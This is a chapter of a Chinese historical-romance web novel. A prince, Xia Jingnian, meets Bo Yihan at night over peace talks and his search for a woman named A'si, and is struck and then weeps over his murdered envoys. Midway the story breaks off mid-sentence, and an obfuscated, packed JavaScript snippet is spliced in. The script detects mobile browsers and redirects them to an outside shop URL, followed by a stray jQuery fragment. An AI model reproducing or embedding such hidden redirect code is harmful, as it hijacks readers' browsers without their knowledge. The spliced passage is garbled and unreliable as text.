夏景年游历长安第一日,吃了南楼特色菜,逛了临江街。
夏景年游历长安第二日,跑到姜嫄山上敬香祈福,吃了斋饭。
夏景年游历长安第三日,跑到春风湖上做冰船,吃淡水鱼,相安无事。
这天夜里,李渊暗入东宫,出来的时候身上多了个烙印。回到府上,李婉月依旧不想搭理他。
他只好叫来张得一,暗自部署。
“将军,这派兵总要有个由头,不然圣上问下来咱们不好交代啊。”
李渊忍着胸口的灼烧疼痛,擦了擦冷汗,道:“就以追查长街刺杀为名义,借调禁卫司二百兵马,任本将调遣。”
“是,属下领命!”
夏景年这几天玩的开心极了,晚饭多吃了一碗饭,撑的半夜都睡不着觉,夜晚时分又叫人送了消食汤来。
他晃醒夏澄,十分温柔的问:“澄儿,能睡着吗?要不要喝点消食汤。”
夏澄困的头晕,皱着眉无语道:“阿爹,我都睡着了。”
“......哦,也是,那你继续睡吧,”夏景年摆手让送汤的人下去,“父亲自己喝。”
这消食汤是用梅子和山楂熬得,放了很多糖,喝起来酸甜可口,一碗汤下去觉得整个人都舒服多了。
他正欲再来一碗,却摸到碗底有什么东西。
翻过来,只见碗底竟然贴着张纸条。
【明晚子时,于侧门西行第二个府邸,不见不散。】
是阿姒的笔迹。
夏景年冷笑一声,不动声色烧掉纸条,回身看了看熟睡的夏澄,眉目冷肃。
此人故意模仿姜姒笔迹,诱他出门,想躲开门外禁兵,与他单独相见。
可知晓他与姜姒的人,除了薄屹寒还能有谁呢。
半晌,他无奈笑了笑,熄了灯躺回床上。
黑夜中,夏澄又睡熟了,口中喃喃:“娘,娘......”
第二日夜,夏景年翻箱倒柜也没找出来一件夜行衣,只好找了件黑衣服套上,还把熟睡的夏澄也薅起来。
“爹,咱们去哪儿啊。”
“见那个奇怪的阿叔。”
“啊......”
夏景年用纸片做了两个剪影,又设好烛火,大概一炷香过后烛火熄灭,纸片倒下,造成他二人睡着的假象。
薄砚尘撤了些兵力,夏景年脚步很轻,侧门的锁也是打开的,就是门外的守卫有些难搞。
就在此刻,天空顿时响起烟花炸开的声响,守卫有些人被吸引,夏景年趁机抱着夏澄,恰好躲到门口经过的一辆运菜的板车上。
按照约定,西行第二个府邸,他没从门口进,直接翻身从墙壁过去。
这院子很小,三面三间厢房,剩下一面便是门和墙。
他放下夏澄,信步走到正厢房,推门而入,丝毫不害怕。
“呦,还备了吃食,这几日本宫吃遍南夏美食,天天晚上都得消食,此刻实在是吃不下了,有什么话你就直说。”
薄屹寒坐在正坐上,扶了扶额角,“怎么知道是我的?”
“这还用猜吗?这馊主意谁出的,阿姒与我从不会那样说话,再说笔迹也不像,北安知道阿姒与我的,除了你还能有谁?”
薄屹寒笑了声,看了眼夏景年身后困的揉眼的夏澄,又看向夏景年,“知道是我还来?”
“谁知道你抽什么风,非要与我私下见面,要让你们皇帝知道,我看你这好不容易得来的镇国公的位子估计也到头了。”
薄屹寒长叹口气,抬着眼睛看着某处有些失神,“我是没想到你会亲自来议和。若是操办此事的人是太子,恐怕你与孩子此刻便已经没了,两国已经开战了。”
夏景年毫不在意,“嗐,你费了那么大的劲,就想促成此事,本宫讲义气,自然也要认真对待。”
烛火忽然跳动。
夏景年突然出手,薄屹寒始料不及,紧急避身,挡了他的手,“喂,干什么你!”
夏景年没回答他,继续出手,快狠准,一把抓住薄屹寒的衣襟,就这么扒下来一个衣角。
夏澄捂住眼睛。
一道三角形状的疤痕露了出来。
“果然是你,那日在青一阁偷听的人!”夏景年松开,替他把衣襟拢好,“我说你怎么突然约我见面,说吧,想问什么?”
薄屹寒刚才收着手,只顾着躲,此刻他咬牙切齿道:“你说呢?”
“因为我跟薄恒见面了?”夏景年摆摆手道:“不用担心,我们没做什么交易,只是我提前来到北安,不想惊动旁人于是找他请我喝酒罢了。”
“你自己听听自己说的,你不想笑吗?你来北安,我可以请你喝酒,你又何必在议和前与薄恒单独见面。”
夏景年探了脑袋过来,面带笑意看着他,“吃醋了?”
“你有病吧!”薄屹寒抽了口冷气,“不是,夏景年你知不知道现在是什么局面?他是北安的太子,你是南夏的皇子,你不知道避嫌的吗?”
“避嫌?你镇国公知道避嫌?那你还约我,还离我这么近。”
薄屹寒气的脑仁疼。
这人油嘴滑舌,嘴里没一句正经话,薄屹寒抽了佩剑出来,指着他,“说实话。”
他那剑距离夏景年还有段距离,根本不可能砍到人,夏景年被他逗笑了,“哎,还有孩子呢,别动刀动枪的。”
薄屹寒看了眼不远处,坐在椅子上乖巧的夏澄,顿时泄了气,又把佩剑放了回去。
夏景年笑着拍他肩膀,“我真没说什么,你信我。”
“信你就有鬼了,你这人满嘴喷粪。”
“哈哈哈哈哈哈......你真粗鄙,哈哈哈哈哈哈哈哈!”
“神经病。”
夏景年收敛了笑,叹了口气,坐在薄屹寒另一侧,身体塌了下去,“其实没说什么,那日你出现打断我们,后来他便坐立不安,生怕与我见面之事被人发现,我便试探了几句他是否知道阿姒他们那个组织的事,他却茫然,丝毫不懂。我便也罢了。”
薄屹寒没动,明显不信他说的话,眼神依旧冷漠。
静坐了许久。
夏景年只好道:“本宫求他帮我寻找阿姒下落,我愿意用南夏城池来换。”
心中所想被证实,薄屹寒怒火中烧,站起来丝毫不手下留情,冲到夏景年面前就给了他一巴掌。
“夏景年,你混账!”
这一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977673|188520||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
巴掌用了十成力道,打得夏景年脑子发懵,缓过来的时候发觉自己口中腥甜,嘴角已经有血迹渗出。
“你把他们的存在告诉薄恒,相当于告诉他,还有人不想议和,还有人冲着挑起战乱来的,你还嫌事态不够乱吗?”
夏景年眼神迷离,不知想到了什么,粹了一口血,非要把这混账话说下去,“本宫想找到孩子的娘,本宫有什么错?”
薄屹寒道:“你说呢?你知道自己是谁吗?若稍有差池再起战乱,你就是天下的罪人,为了一个女人?你犯什么混?”
夏景年浑不在意,“我不如你,你铮铮傲骨,心怀天下,我不想这些,我就想要阿姒回来,想让她守着我们父子。”
薄屹寒紧紧盯着他,气的一句话也说不出来。
他松了手,眼神仿佛要把他盯出窟窿来,“夏景年,你让我说你什么好?”
夏景年道:“有什么好说的?你不理解我为了心爱之人赴汤蹈火,我更不理解你为了些不相干的人舍命调停战火。我答应你议和,你也不能阻我找阿姒。”
“我若非要阻呢?”
夏景年垂着脑袋,用袖口擦了擦嘴角的血,冲着夏澄露出个安心的笑来,“阿叔与爹爹在开玩笑呢,不要担心。”
他又对薄屹寒说:“你可知为何只有我们二人前来议和?”
夏景年目光悠长,突然痛楚非常,“其实刚出发的时候有二十四个官,还是二十五个来着,往北走第三日被人伏击,死了十几个,我们咬着牙坚决不回洛阳,继续向北走,没几天,又没了几个,还没走到边关,就剩了一个传信的小卒和我与澄儿。”
“那小卒重返洛阳,传我口谕重新找了一批议和的使者,名单是我亲自写的,知道的人甚少,并且化作商人,这才勉强渡过边界。我与澄儿先到了之后,我先入长安,私下会面薄恒......与他说了阿姒他们的事是我不对,可南夏折了那么多官员,早晚传到长安,那些人怎么死的,长安迟早会知道,那个组织的事一定会暴露,早知道与晚知道又有什么分别?”
夏景年声音哽咽,染上哭腔,“薄屹寒,你怜天下百姓,我还疼惜我夏国人才呢!他们死前都抓着我,让我不要回头,让我无论如何也要促成这次议和,那么多人,全死了!他妈的!南夏朝政里不知道有多少那个组织的人,那么保密的名单和行程,他们轻而易举获取了......”
说完,他竟双手捂面,呜咽起来,哭的像个孩童。
夏澄见他哭,也开始用袖子抹面,却倔强的不肯发出声音。
薄屹寒瞧了瞧这两人,责怪埋怨的话堵在心里,他别开了眼,心中十分难受。
夏景年呜咽又补了一句,“他们一行,年纪大的七十多,年纪小的刚入仕,现如今连个衣冠冢都没有,死在南夏各处连尸首都找不全,薄屹寒,那帮人没有良心,他们是豺狼虎豹,我为什么要放了阿姒又要找她?因为我知道他们这般凶狠,我怕阿姒也遭受毒手,我宁愿天下人骂我夏景年是小人,不配做皇子,我也要保着她!”
姜满躲在暗处,静静听着,二人的话一字不落全进了她的耳朵。
良久,薄屹寒轻声道:“行了,别哭了,我知道她在哪儿。”